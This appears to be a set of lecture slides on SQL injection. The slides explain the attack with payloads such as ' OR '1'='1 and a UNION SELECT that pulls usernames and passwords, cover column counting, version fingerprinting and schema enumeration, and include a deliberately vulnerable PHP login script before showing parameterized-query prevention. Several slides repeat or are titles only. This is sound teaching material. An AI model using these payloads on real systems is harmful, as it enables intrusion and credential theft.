Chapter 2. SQL injection

1.

Chapter 2. SQL injection

2.

Chapter 2.Sections and sectors
1.1 What is SQL injection?
UNDERSTANDING SQL INJECTION Define SQL injection.
UNDERSTANDING HOW IT HAPPENS
1.2 SQL injection examples
Explain the SQL injection examples.
Describe SQL injection samples.
Examining the database in SQL injection attacks.
1.3 Burp Suite's web vulnerability scanner.
Explain Burp Suite's web vulnerability scanner.
Describe the characteristics of the Burp Suite application.

3.

SQL injection
Web applications are becoming more sophisticated and
increasingly technically complex.
SQL injection is an attack in which the SQL code is inserted
or appended into application/user input parameters that are
later passed to a back-end SQL server for parsing and
execution. Any procedure that constructs SQL statements
could potentially be vulnerable, as the diverse nature of SQL
and the methods available for constructing it provide a
wealth of coding options.

4.

SQL injection sample
To illustrate this, let’s return to the previous example of a simple
online retail store. If you remember, we attempted to view all
products within the store that cost less than $100, by using the
following URL:
• http://www.victim.com/products.php?val=100

5.

SQL injection simple example
The
URL examples in this chapter use GET
parameters instead of POST parameters for ease
of illustration. POST parameters are just as easy
to manipulate; however, this usually involves the
use of something else, such as a traffic
manipulation tool, Web browser plug-in, or inline
proxy application.

6.

SQL injection simple example
http://www.victim.com/products.php?val=100 ’ OR ‘1’=‘1
SELECT * FROM ProductsTbl WHERE Price < '100.00' OR '1' =
'1' ORDER BY ProductDescription;

7.

SQL injection simple example
http://www.victim.com/products.php?val=100 ’ OR ‘1’=‘1
SELECT * FROM ProductsTbl WHERE Price < '100.00' OR '1' =
'1' ORDER BY ProductDescription;

8.

Example of the SQL injection for CMS
A CMS is a Web application that is used to
create, edit, manage, and publish content
to a Web site, without having to have an indepth understanding of or ability to code in
HTML

9.

Example of the SQL injection for CMS
You can use the following URL to access the
CMS application:
http://www.victim.com/cms/login.php?use
rname=foo&password=bar

10.

Example of the SQL injection for CMS
// connect to the database 7 $conn =
mysql_connect("localhost","username","password");
// dynamically build the sql statement with the input $query = "SELECT userid
FROM CMSUsers WHERE user = '$_GET["user"]' " . "AND password =
'$_GET["password"]’”;
// execute the query against the database $result = mysql_query($query);
// check to see how many rows were returned from the database $rowcount =
mysql_num_rows($result);
// if a row is returned then the credentials must be valid, so
// forward the user to the admin pages if ($rowcount ! = 0){header("Location:
admin.php");}
// if a row is not returned then the credentials must be invalid else {die('Incorrect
username or password, please try again.')}

11.

Example of the SQL injection for CMS
SELECT userid FROM CMSUsers WHERE
user = 'foo' AND password = 'bar';

12.

Example of the SQL injection for CMS
http://www.victim.com/cms/login.php?username
=foo&password=bar ’ OR ‘1’=’1

13.

Example of the SQL injection for CMS
SELECT userid FROM CMSUsers WHERE user
= 'foo' AND password = 'password' OR '1' = '1';

14.

The moment of history about security
breaches
The traditional press also likes to heavily publicize any security data breaches, especially those
that affect well-known and high-profile companies. Here is a list of some of these:
In June 2003, Jeremiah Jacks struck ag ain, this time at PetCo.com ( www.
securityfocus.com/news/6194 ), where he gained access to 500,000 credit card details via an
SQL injection flaw.
In May 2011, LulzSec compromised se veral Son y W eb sites (son ypictures. com,
SonyMusic.gr, and SonyMusic.co.jp) and proceeded to dump the database contents online for
their amusement. LulzSec says it accessed the passwords, e-mail addresses, home addresses
and dates of birth of one million users. The group says it also stole all admin details of Sony
Pictures, including passwords. 75,000 music codes and 3.5 million music coupons were also
accessed, according to the press release.
In June 2011, Lady Gag a’s f an site w as hack ed and according to a statement released at
the time “The hackers took a content database dump from www. ladygaga.co.uk and a
section of e-mail, first name and last name records were accessed. There were no passwords
or financial information taken”— http:// www.mirror.co.uk/celebs/news/2011/07/16/ladygaga-website-hacked-and- fans-details-stolen-115875-23274356 .

15.

UNDERSTANDING HOW IT HAPPENS SQL
injection
SQL is the standard language for accessing
Microsoft SQL Server, Oracle, MySQL,
Sybase, and Informix (as well as other)
database servers.

16.

Variety of SQL injection
There are a wide variety of SQL injection vulnerabilities, attacks, and
techniques, which arise in different situations. Some common SQL injection
examples include:
Retrieving hidden data, where you can modify a SQL query to return additional
results.
Subverting application logic, where you can change a query to interfere with the
application's logic.
UNION attacks, where you can retrieve data from different database tables.
Examining the database, where you can extract information about the version
and structure of the database.
Blind SQL injection, where the results of a query you control are not returned in
the application's responses.

17.

Retrieving hidden data
https://insecure-website.com/products?category=Gifts
SELECT * FROM products WHERE category = 'Gifts' AND
released = 1
This SQL query asks the database to return:
all details (*)
from the products table
where the category is Gifts
and released is 1.

18.

Retrieving hidden data
The restriction released = 1 is being used to hide products that are not
released.
For unreleased products, presumably released = 0.
https://insecure-website.com/products?category=Gifts’-In the result
SELECT * FROM products WHERE category = 'Gifts'--' AND
released = 1

19.

Retrieving hidden data
https://insecure-
website.com/products?category=Gifts'+OR+1=1--
This results in the SQL query:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND
released = 1

20.

Subverting application logic
SELECT * FROM users WHERE username = 'wiener' AND password
= 'bluecheese’
For example, submitting the username administrator'-- and a blank password
results in the following query:
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

21.

Retrieving data from other database tables
using the UNION keyword, which lets you execute an
additional SELECT query and append the results to the
original query.
SELECT name, description FROM products WHERE
category = 'Gifts’
then an attacker can submit the input:
' UNION SELECT username, password FROM users--

22.

SQL injection UNION attacks
The UNION keyword lets you execute one or more additional SELECT queries
and append the results to the original query. For example:
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
This SQL query will return a single result set with two columns, containing
values from columns a and b in table1 and columns c and d in table2.
For a UNION query to work, two key requirements must be met:
The individual queries must return the same number of columns.
The data types in each column must be compatible between the individual
queries.

23.

Determining the number of columns required
in a SQL injection UNION attack
There are two effective methods for Determining the number of columns
The first method involves injecting a series of ORDER BY clauses
For example, assuming the injection point is a quoted string within the WHERE
clause of the original query, you would submit:
The ORDER BY position number 3 is out of range of the number
of items in the select list.

24.

Determining the number of columns required
in a SQL injection UNION attack
The second method involves submitting a series of UNION SELECT payloads
specifying a different number of null values:
All queries combined using a UNION, INTERSECT or EXCEPT
operator must have an equal number of expressions in their
target lists.
For more details of database-specific syntax, see the SQL injection cheat sheet.

25.

Finding columns with a useful data type in a
SQL injection UNION attack
Having already determined the number of required columns, you can probe
each column to test whether it can hold string data by submitting a series of
UNION SELECT payloads that place a string value into each column in turn. For
example, if the query returns four columns, you would submit:
Conversion failed when converting the varchar value 'a' to
data type int.

26.

Using a SQL injection UNION attack to
retrieve interesting data
Suppose that:
The original query returns two columns, both of which can hold string data.
The injection point is a quoted string within the WHERE clause.
The database contains a table called users with the columns username and
password.
In this situation, you can retrieve the contents of the users table by
submitting the input:
' UNION SELECT username, password FROM users—
Importance users with two columns called username and password

27.

Retrieving multiple values within a single
column
For example, on Oracle you could submit the input:
‘ UNION SELECT username || '~' || password FROM users–
The results from the query will let you read all of the usernames and passwords,
for example:

28.

Examining the database in SQL injection
attacks
Querying the database type and version
Listing the contents of the database
Equivalent to information schema on Oracle

29.

Querying the database type and version
The queries to determine the database version for some popular database
types are as follows:
For example, you could use a UNION attack with the following input:
' UNION SELECT @@version--

30.

Listing the contents of the database
Most database types (with the notable exception of Oracle) have a set of views
called the information schema which provide information about the database.
You can query information_schema.tables to list the tables in the database:
SELECT * FROM information_schema.tables
This output indicates that there are three tables, called Products, Users,
and Feedback.

31.

Listing the contents of the database
You can then query information_schema.columns to list the columns in
individual tables:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
This output shows the columns in the specified table and the data type of each
column.

32.

Equivalent to information schema on Oracle
On Oracle, you can obtain the same information with slightly different
queries.
You can list tables by querying all_tables:
SELECT * FROM all_tables
And you can list columns by querying all_tab_columns:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

33.

How to detect SQL injection vulnerabilities
The majority of SQL injection vulnerabilities can be found quickly and reliably using Burp Suite's web
vulnerability scanner.
SQL injection can be detected manually by using a systematic set of tests against every entry point
in the application. This typically involves:
Submitting the single quote character ' and looking for errors or other anomalies.
Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point,
and to a different value, and looking for systematic differences in the resulting application
responses.
Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the
application's responses.
Submitting payloads designed to trigger time delays when executed within a SQL query, and looking
for differences in the time taken to respond.
Submitting OAST payloads designed to trigger an out-of-band network interaction when executed
within a SQL query, and monitoring for any resulting interactions.

34.

SQL injection in different parts of the query
Most SQL injection vulnerabilities arise within the WHERE clause of a SELECT
query. This type of SQL injection is generally well-understood by experienced
testers.
But SQL injection vulnerabilities can in principle occur at any location within
the query, and within different query types. The most common other
locations where SQL injection arises are:
In UPDATE statements, within the updated values or the WHERE clause.
In INSERT statements, within the inserted values.
In SELECT statements, within the table or column name.
In SELECT statements, within the ORDER BY clause.

35.

SQL injection in different contexts
In all of the labs so far, you've used the query string to inject your malicious
SQL payload. However, it's important to note that you can perform SQL
injection attacks using any controllable input that is processed as a SQL query
by the application. For example, some websites take input in JSON or XML
format and use this to query the database.

36.

How to prevent SQL injection
Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared
statements) instead of string concatenation within the query.
The following code is vulnerable to SQL injection because the user input is concatenated directly into the
query:
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
This code can be easily rewritten in a way that prevents the user input from interfering with the query
structure:
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category =
?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

37.

Second-order SQL injection
First-order SQL injection arises where the application takes user input from an
HTTP request and, in the course of processing that request, incorporates the input
into a SQL query in an unsafe way.
In second-order SQL injection (also known as stored SQL injection), the application
takes user input from an HTTP request and stores it for future use. This is usually
done by placing the input into a database, but no vulnerability arises at the point
where the data is stored. Later, when handling a different HTTP request, the
application retrieves the stored data and incorporates it into a SQL query in an
unsafe way.
Second-order SQL injection often arises in situations where developers are aware of
SQL injection vulnerabilities, and so safely handle the initial placement of the input
into the database. When the data is later processed, it is deemed to be safe, since it
was previously placed into the database safely. At this point, the data is handled in
an unsafe way, because the developer wrongly deems it to be trusted.

38.

Burp Suite's web vulnerability scanner

39.

Burp Suite's web vulnerability scanner
The web vulnerability scanner that does more
The
web vulnerability scanner behind Burp Suite's
popularity has more to it than most. Burp Scanner uses
PortSwigger's world-leading research to help its users find
a wide range of vulnerabilities in web applications,
automatically.
Sitting at the core of both Burp Suite Enterprise
Edition and Burp Suite Professional, Burp Scanner is the
weapon of choice for over 70,000 users across more than
16,000 organizations.

40.

Burp Suite's web vulnerability scanner

41.

Burp Suite's web vulnerability scanner

42.

Burp Suite's web vulnerability scanner

43.

Burp Suite's web vulnerability scanner

44.

Burp Suite's web vulnerability scanner

45.

Burp Suite's web vulnerability scanner

46.

Burp Suite's web vulnerability scanner

47.

Burp Suite's web vulnerability scanner